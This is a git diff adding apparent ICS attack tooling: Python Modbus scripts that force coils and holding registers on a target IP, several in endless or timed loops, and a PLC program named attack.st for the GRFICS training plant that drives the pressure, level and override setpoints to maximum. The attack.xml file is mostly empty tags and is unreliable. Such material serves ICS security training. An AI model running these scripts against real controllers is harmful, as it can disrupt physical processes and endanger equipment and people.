a specific coil to a specific value +""" +__author__ = '0xRoM' +from argparse import ArgumentParser, ArgumentTypeError +from pyModbusTCP.client import ModbusClient +import time +import sys + +parser = ArgumentParser() +parser.add_argument('-i','--ipaddress', action='store', type=str, required=True, help='Input IP Address') +parser.add_argument('-p','--port', action='store', type=int, required=False, help='Port Number', default=502) +parser.add_argument('-c','--coil', action='store', type=int, required=True, help='Coil Number', default=0) +parser.add_argument('-tr','--true', action='store_true', required=False, help='True if set') +parser.add_argument('-l','--loop', action='store_true', required=False, help='loop on') +parser.add_argument('-t','--timeout', action='store', type=float, required=False, help='request every X seconds', default=2) +args = parser.parse_args() + +client=ModbusClient(host=args.ipaddress,port=args.port,auto_open=True,auto_close=True,timeout=10) +if args.true: + client.write_single_coil(args.coil,True) +else: + client.write_single_coil(args.coil,False) + +if args.loop: + i=1 + while True: + client=ModbusClient(host=args.ipaddress,port=args.port,auto_open=True,auto_close=True,timeout=10) + if args.true: + client.write_single_coil(args.coil,True) + else: + client.write_single_coil(args.coil,False) + client.close() + print '\r>>packet: %d' % i, + sys.stdout.flush() + i+=1 + time.sleep(args.timeout) + diff --git a/modbus/test_coil_true.py b/modbus/test_coil_true.py new file mode 100644 index 0000000..d2e8631 --- /dev/null +++ b/modbus/test_coil_true.py @@ -0,0 +1,15 @@ +#!/usr/bin/python +from pymodbus.client.sync import ModbusTcpClient +import time +import sys + +i=1 +t_end = time.time() + 60 * 1 # 60s X 1min +while time.time() < t_end: + client = ModbusTcpClient(sys.argv[1]) + client.write_coils(40, [True, True, True]*4) # Ref #, followed by coil settings in list form + client.close() + print '\r>>packet: %d' % i, + sys.stdout.flush() + i+=1 +print "Done" diff --git a/modbus/test_hold_int.py b/modbus/test_hold_int.py new file mode 100644 index 0000000..8be7d0d --- /dev/null +++ b/modbus/test_hold_int.py @@ -0,0 +1,21 @@ +#!/usr/bin/python +from pyModbusTCP.client import ModbusClient +import time +import sys + +i=1 +client=ModbusClient(host=sys.argv[1],port=502,auto_open=True,auto_close=True,timeout=10) + +while True: + #client = ModbusTcpClient(sys.argv[1]) + #client.write_single_register(0,65535) # ref #, followed by no to store + #client.write_single_register(1,65535) # ref #, followed by no to store + #client.write_single_register(2,0) # ref #, followed by no to store + client.write_single_register(3,0) # ref #, followed by no to store + #client.write_multiple_registers(0, [65535,65535,2,2]) + #client.close() + print '\r>>packet: %d' % i, + sys.stdout.flush() + i+=1 + time.sleep(0.2) +print "Done" diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack.st b/plc/GRFICS_Workstation_Docs/Documents/attack.st new file mode 100644 index 0000000..e39c5bd --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack.st @@ -0,0 +1,518 @@ +FUNCTION_BLOCK scale_to_real + VAR_INPUT + raw_input_value : UINT; + END_VAR + VAR_OUTPUT + scaled_real : REAL; + END_VAR + VAR_INPUT + real_max : REAL; + real_min : REAL; + END_VAR + VAR + raw_max : UINT := 65535; + raw_min : UINT := 0; + rate : REAL; + offset : REAL; + END_VAR + + rate := (real_max - real_min) / UINT_TO_REAL(raw_max - raw_min); + offset := real_min - UINT_TO_REAL(raw_min)*rate; + scaled_real := UINT_TO_REAL(raw_input_value)*rate + offset; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_uint + VAR_INPUT + real_in : REAL; + END_VAR + VAR_OUTPUT + uint_out : UINT; + END_VAR + VAR + DIV1_OUT : REAL; + MUL4_OUT : REAL; + REAL_TO_UINT6_OUT : UINT; + END_VAR + + DIV1_OUT := DIV(real_in, 100.0); + MUL4_OUT := MUL(DIV1_OUT, 65535.0); + REAL_TO_UINT6_OUT := REAL_TO_UINT(MUL4_OUT); + uint_out := REAL_TO_UINT6_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK composition_control + VAR + a_in_purge_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_in_purge : UINT := 32000; + END_VAR + VAR + a_setpoint_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_setpoint : UINT := 32000; + curr_pos : UINT := 16000; + END_VAR + VAR + valve_pos_real : REAL := 25.0; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 25.0; + END_VAR + VAR_OUTPUT + new_pos : UINT := 16000; + END_VAR + VAR + composition_k : REAL := 1.0; + composition_ti : REAL := 99.0; + cycle_time : TIME := T#50ms; + scale_to_real3 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + comp_max : REAL := 100.0; + comp_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB45_OUT : REAL; + MUL46_OUT : REAL; + ADD42_OUT : REAL; + LIMIT44_OUT : REAL; + END_VAR + + scale_to_real3(raw_input_value := a_in_purge, real_max := comp_max, real_min := comp_min); + a_in_purge_real := scale_to_real3.scaled_real; + scale_to_real2(raw_input_value := a_setpoint, real_max := comp_max, real_min := comp_min); + a_setpoint_real := scale_to_real2.scaled_real; + SUB45_OUT := SUB(a_setpoint_real, a_in_purge_real); + MUL46_OUT := MUL(SUB45_OUT, composition_k); + pos_update_real := MUL46_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + ADD42_OUT := ADD(valve_pos_real, pos_update_real); + LIMIT44_OUT := LIMIT(pos_min, ADD42_OUT, pos_max); + scale_to_uint0(real_in := LIMIT44_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK initialize_sp + VAR CONSTANT + flow_sp_c : UINT := 13107; + a_sp_c : UINT := 65535; + press_sp_c : UINT := 65535; + over_sp_c : UINT := 65535; + level_sp_c : UINT := 65535; + END_VAR + VAR_OUTPUT + flow_sp : UINT; + a_sp : UINT; + press_sp : UINT; + over_sp : UINT; + level_sp : UINT; + END_VAR + VAR + MOVE3_OUT : UINT; + MOVE7_OUT : UINT; + MOVE11_OUT : UINT; + MOVE15_OUT : UINT; + MOVE19_OUT : UINT; + END_VAR + + MOVE3_OUT := MOVE(a_sp_c); + a_sp := MOVE3_OUT; + MOVE7_OUT := MOVE(flow_sp_c); + flow_sp := MOVE7_OUT; + MOVE11_OUT := MOVE(over_sp_c); + over_sp := MOVE11_OUT; + MOVE15_OUT := MOVE(level_sp_c); + level_sp := MOVE15_OUT; + MOVE19_OUT := MOVE(press_sp_c); + press_sp := MOVE19_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_control + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + END_VAR + VAR + pressure_sp_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure_sp : UINT := 58981; + curr_pos : UINT := 30000; + END_VAR + VAR + valve_pos_real : REAL := 39.25; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 39.25; + END_VAR + VAR_OUTPUT + valve_pos : UINT := 25886; + END_VAR + VAR + pressure_k : REAL := 20.0; + pressure_ti : REAL := 999.0; + cycle_time : TIME := T#50ms; + scale_to_real5 : scale_to_real; + scale_to_real4 : scale_to_real; + scale_to_uint0 : scale_to_uint; + pressure_max : REAL := 3200.00; + pressure_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real0 : scale_to_real; + SUB57_OUT : REAL; + MUL60_OUT : REAL; + SUB53_OUT : REAL; + LIMIT55_OUT : REAL; + END_VAR + + scale_to_real5(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real5.scaled_real; + scale_to_real4(raw_input_value := pressure_sp, real_max := pressure_max, real_min := pressure_min); + pressure_sp_real := scale_to_real4.scaled_real; + SUB57_OUT := SUB(pressure_sp_real, pressure_real); + MUL60_OUT := MUL(SUB57_OUT, pressure_k); + pos_update_real := MUL60_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + SUB53_OUT := SUB(valve_pos_real, pos_update_real); + LIMIT55_OUT := LIMIT(pos_min, SUB53_OUT, pos_max); + scale_to_uint0(real_in := LIMIT55_OUT); + valve_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK flow_control + VAR + flow_k : REAL := 1.0; + flow_ti : REAL := 999.0; + flow_td : REAL := 0.0; + END_VAR + VAR_INPUT + product_flow : UINT := 6554; + END_VAR + VAR + product_flow_real : REAL := 100.0; + cycle_time : TIME := T#50ms; + pos_update_real : REAL := 0.0; + curr_pos_real : REAL := 60.9; + END_VAR + VAR_OUTPUT + new_pos : UINT := 35000; + END_VAR + VAR_INPUT + curr_pos : UINT := 35000; + END_VAR + VAR + flow_set_real : REAL := 100.0; + END_VAR + VAR_INPUT + flow_set_in : UINT := 6554; + END_VAR + VAR + scale_to_real0 : scale_to_real; + scale_to_real1 : scale_to_real; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB59_OUT : REAL; + MUL60_OUT : REAL; + ADD58_OUT : REAL; + LIMIT40_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := product_flow, real_max := flow_max, real_min := flow_min); + product_flow_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := flow_set_in, real_max := flow_max, real_min := flow_min); + flow_set_real := scale_to_real1.scaled_real; + SUB59_OUT := SUB(flow_set_real, product_flow_real); + MUL60_OUT := MUL(SUB59_OUT, flow_k); + pos_update_real := MUL60_OUT; + scale_to_real2(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + curr_pos_real := scale_to_real2.scaled_real; + ADD58_OUT := ADD(curr_pos_real, pos_update_real); + LIMIT40_OUT := LIMIT(pos_min, ADD58_OUT, pos_max); + scale_to_uint0(real_in := LIMIT40_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK level_control + VAR_INPUT + liquid_level : UINT; + level_sp : UINT := 30000; + curr_pos : UINT; + END_VAR + VAR_OUTPUT + new_pos : UINT; + END_VAR + VAR + cycle_time : TIME := T#50ms; + level_k : REAL := 10.0; + level_ti : REAL := 99999.0; + scale_to_real0 : scale_to_real; + level_max : REAL := 100.0; + level_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + level_real : REAL := 44.18; + pos_real : REAL := 47.0; + pos_update_real : REAL := 0.0; + sp_real : REAL := 44.18; + scale_to_real1 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB32_OUT : REAL; + MUL33_OUT : REAL; + SUB30_OUT : REAL; + LIMIT25_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := liquid_level, real_max := level_max, real_min := level_min); + level_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + pos_real := scale_to_real1.scaled_real; + scale_to_real2(raw_input_value := level_sp, real_max := level_max, real_min := level_min); + sp_real := scale_to_real2.scaled_real; + SUB32_OUT := SUB(sp_real, level_real); + MUL33_OUT := MUL(SUB32_OUT, level_k); + pos_update_real := MUL33_OUT; + SUB30_OUT := SUB(pos_real, pos_update_real); + LIMIT25_OUT := LIMIT(pos_min, SUB30_OUT, pos_max); + scale_to_uint0(real_in := LIMIT25_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_signed + VAR_INPUT + input_uint : UINT; + END_VAR + VAR_OUTPUT + output_int : INT; + END_VAR + VAR + DIV3_OUT : UINT; + ABS8_OUT : UINT; + UINT_TO_INT9_OUT : INT; + END_VAR + + DIV3_OUT := DIV(input_uint, 2); + ABS8_OUT := ABS(DIV3_OUT); + UINT_TO_INT9_OUT := UINT_TO_INT(ABS8_OUT); + output_int := UINT_TO_INT9_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_override + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + curr_sp : UINT := 58981; + END_VAR + VAR + curr_sp_real : REAL := 2700.0; + product_sp_real : REAL := 100.0; + sp_update : REAL := 0.0; + product_sp_nominl : REAL := 100.0; + END_VAR + VAR_OUTPUT + product_sp : UINT := 13107; + END_VAR + VAR + override_sp_real : REAL := 2900.0; + END_VAR + VAR_INPUT + override_sp : UINT := 63350; + END_VAR + VAR + override_k : REAL := 1.0; + override_ti : REAL := 99999.0; + cycle_time : TIME := T#50ms; + scale_to_real7 : scale_to_real; + pressure_max : REAL := 3000.0; + pressure_min : REAL := 0.0; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB86_OUT : REAL; + MUL87_OUT : REAL; + MAX84_OUT : REAL; + ADD85_OUT : REAL; + LIMIT67_OUT : REAL; + DIV73_OUT : REAL; + MUL75_OUT : REAL; + REAL_TO_UINT79_OUT : UINT; + END_VAR + + scale_to_real7(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real7.scaled_real; + SUB86_OUT := SUB(override_sp_real, pressure_real); + MUL87_OUT := MUL(SUB86_OUT, override_k); + MAX84_OUT := MAX(MUL87_OUT, 0.0); + sp_update := MAX84_OUT; + scale_to_real0(raw_input_value := curr_sp, real_max := flow_max, real_min := flow_min); + curr_sp_real := scale_to_real0.scaled_real; + ADD85_OUT := ADD(curr_sp_real, sp_update); + LIMIT67_OUT := LIMIT(50.0, ADD85_OUT, 150.0); + product_sp_real := LIMIT67_OUT; + DIV73_OUT := DIV(product_sp_real, 500.0); + MUL75_OUT := MUL(DIV73_OUT, 65535.0); + REAL_TO_UINT79_OUT := REAL_TO_UINT(MUL75_OUT); + product_sp := REAL_TO_UINT79_OUT; +END_FUNCTION_BLOCK + +PROGRAM main + VAR + flow_control0 : flow_control; + first_run : BOOL := True; + END_VAR + VAR + flow_set AT %MW0 : UINT; + a_setpoint AT %MW1 : UINT; + pressure_sp AT %MW2 : UINT; + override_sp AT %MW3 : UINT; + level_sp AT %MW4 : UINT; + END_VAR + VAR + composition_control0 : composition_control; + scale_to_signed0 : scale_to_signed; + END_VAR + VAR + f1_valve_pos AT %IW0 : UINT; + f1_flow AT %IW1 : UINT; + f2_valve_pos AT %IW2 : UINT; + f2_flow AT %IW3 : UINT; + purge_valve_pos AT %IW4 : UINT; + purge_flow AT %IW5 : UINT; + product_valve_pos AT %IW6 : UINT; + product_flow AT %IW7 : UINT; + pressure AT %IW8 : UINT; + level AT %IW9 : UINT; + a_in_purge AT %IW10 : UINT; + b_in_purge AT %IW11 : UINT; + c_in_purge AT %IW12 : UINT; + f1_valve_sp AT %QW0 : UINT; + f2_valve_sp AT %QW1 : UINT; + purge_valve_sp AT %QW2 : UINT; + product_valve_sp AT %QW3 : UINT; + END_VAR + VAR + product_valve_safe : UINT := 0; + purge_valve_safe : UINT := 65535; + f1_valve_safe : UINT; + f2_valve_safe : UINT; + pressure_control0 : pressure_control; + END_VAR + VAR + hmi_pressure AT %MW20 : INT; + hmi_level AT %MW21 : INT; + hmi_f1_valve_pos AT %MW22 : INT; + hmi_f1_flow AT %MW23 : INT; + hmi_f2_valve_pos AT %MW24 : INT; + hmi_f2_flow AT %MW25 : INT; + hmi_purge_valve_pos AT %MW26 : INT; + hmi_purge_flow AT %MW27 : INT; + hmi_product_valve_pos AT %MW28 : INT; + hmi_product_flow AT %MW29 : INT; + scan_count AT %MW30 : UINT; + END_VAR + VAR + scale_to_signed1 : scale_to_signed; + scale_to_signed2 : scale_to_signed; + scale_to_signed3 : scale_to_signed; + scale_to_signed4 : scale_to_signed; + scale_to_signed5 : scale_to_signed; + scale_to_signed6 : scale_to_signed; + scale_to_signed7 : scale_to_signed; + scale_to_signed8 : scale_to_signed; + scale_to_signed9 : scale_to_signed; + pressure_override0 : pressure_override; + level_control0 : level_control; + END_VAR + VAR_EXTERNAL + run_bit : BOOL; + END_VAR + VAR + run_bit0 : BOOL := True; + initialize_sp0 : initialize_sp; + ADD87_OUT : UINT; + GE91_OUT : BOOL; + MOVE92_ENO : BOOL; + MOVE92_OUT : UINT; + END_VAR + + initialize_sp0(EN := first_run); + IF initialize_sp0.ENO THEN + first_run := FALSE; (*reset*) + END_IF; + IF initialize_sp0.ENO THEN + flow_set := initialize_sp0.flow_sp; + END_IF; + IF initialize_sp0.ENO THEN + a_setpoint := initialize_sp0.a_sp; + END_IF; + IF initialize_sp0.ENO THEN + pressure_sp := initialize_sp0.press_sp; + END_IF; + IF initialize_sp0.ENO THEN + override_sp := initialize_sp0.over_sp; + END_IF; + IF initialize_sp0.ENO THEN + level_sp := initialize_sp0.level_sp; + END_IF; + flow_control0(product_flow := product_flow, curr_pos := f1_valve_pos, flow_set_in := flow_set); + f1_valve_sp := flow_control0.new_pos; + pressure_control0(pressure := pressure, pressure_sp := pressure_sp, curr_pos := purge_valve_pos); + purge_valve_sp := pressure_control0.valve_pos; + composition_control0(a_in_purge := a_in_purge, a_setpoint := a_setpoint, curr_pos := f2_valve_pos); + f2_valve_sp := composition_control0.new_pos; + pressure_override0(pressure := pressure, curr_sp := flow_set, override_sp := override_sp); + flow_set := pressure_override0.product_sp; + level_control0(liquid_level := level, level_sp := level_sp, curr_pos := product_valve_pos); + product_valve_sp := level_control0.new_pos; + scale_to_signed0(input_uint := pressure); + hmi_pressure := scale_to_signed0.output_int; + scale_to_signed1(input_uint := level); + hmi_level := scale_to_signed1.output_int; + scale_to_signed2(input_uint := f1_valve_pos); + hmi_f1_valve_pos := scale_to_signed2.output_int; + scale_to_signed3(input_uint := f2_valve_pos); + hmi_f2_valve_pos := scale_to_signed3.output_int; + scale_to_signed4(input_uint := purge_valve_pos); + hmi_purge_valve_pos := scale_to_signed4.output_int; + scale_to_signed5(input_uint := product_valve_pos); + hmi_product_valve_pos := scale_to_signed5.output_int; + scale_to_signed6(input_uint := f1_flow); + hmi_f1_flow := scale_to_signed6.output_int; + scale_to_signed7(input_uint := f2_flow); + hmi_f2_flow := scale_to_signed7.output_int; + scale_to_signed8(input_uint := purge_flow); + hmi_purge_flow := scale_to_signed8.output_int; + scale_to_signed9(input_uint := product_flow); + hmi_product_flow := scale_to_signed9.output_int; + ADD87_OUT := ADD(scan_count, 1); + scan_count := ADD87_OUT; + GE91_OUT := GE(scan_count, 32000); + MOVE92_OUT := MOVE(EN := GE91_OUT, IN := 0, ENO => MOVE92_ENO); + IF MOVE92_ENO THEN + scan_count := MOVE92_OUT; + END_IF; +END_PROGRAM + + +CONFIGURATION Config0 + + RESOURCE Res0 ON PLC + VAR_GLOBAL + run_bit AT %QX0.0 : BOOL; + END_VAR + TASK MainTask(INTERVAL := T#50ms,PRIORITY := 0); + PROGRAM instance0 WITH MainTask : main; + END_RESOURCE +END_CONFIGURATION diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack.xml b/plc/GRFICS_Workstation_Docs/Documents/attack.xml new file mode 100644 index 0000000..725d547 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack.xml @@ -0,0 +1,5136 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 30000 + + + + + + + + + + + + + hmi_pressure + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 16000 + + + + + + + + + + + + + hmi_level + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f1_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f2_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 3000 + + + + + + + + + + + + + + + hmi_purge_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 15000 + + + + + + + + + + + + + hmi_product_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f1_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f2_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 3000 + + + + + + + + + + + + + hmi_purge_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 15000 + + + + + + + + + + + + + hmi_product_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + scan_count + + + + + + + 1 + + + + + + + + + + + + + scan_count + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + scan_count + + + + + + + 32000 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 0 + + + + + + + + + + + + + scan_count + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_real + + + + + + + pressure_sp_real + + + + + + + pressure_k + + + + + + + pressure_ti + + + + + + + cycle_time + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure + + + + + + + + + + + + + pressure_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure_sp + + + + + + + + + + + + + pressure_sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos + + + + + + + valve_pos_nominal + + + + + + + curr_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + valve_pos_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_set_real + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + product_flow + + + + + + + + + + + + + product_flow_real + + + + + + + product_flow_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + flow_set_in + + + + + + + + + + + + + flow_set_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + curr_pos + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + curr_pos_real + + + + + + + curr_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_k + + + + + + + flow_ti + + + + + + + cycle_time + + + + + + + flow_td + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + a_in_purge_real + + + + + + + a_setpoint_real + + + + + + + composition_k + + + + + + + composition_ti + + + + + + + cycle_time + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + comp_max + + + + + + + comp_min + + + + + + + a_in_purge + + + + + + + + + + + + + a_in_purge_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + comp_max + + + + + + + comp_min + + + + + + + a_setpoint + + + + + + + + + + + + + a_setpoint_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + valve_pos_nominal + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + curr_pos + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + valve_pos_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_real + + + + + + + override_sp_real + + + + + + + override_k + + + + + + + override_ti + + + + + + + cycle_time + + + + + + + + + + + sp_update + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure + + + + + + + + + + + + + pressure_real + + + + + + + curr_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + + + + + + + curr_sp_real + + + + + + + sp_update + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 150.0 + + + + + + + 50.0 + + + + + + + 0.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 500.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_sp_real + + + + + + + product_sp_real + + + + + + + 65535.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_sp + + + + + + + curr_sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + input_uint + + + + + + + 2 + + + + + + + + + + + + + + + output_int + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + real_in + + + + + + + 100.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 65535.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + uint_out + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 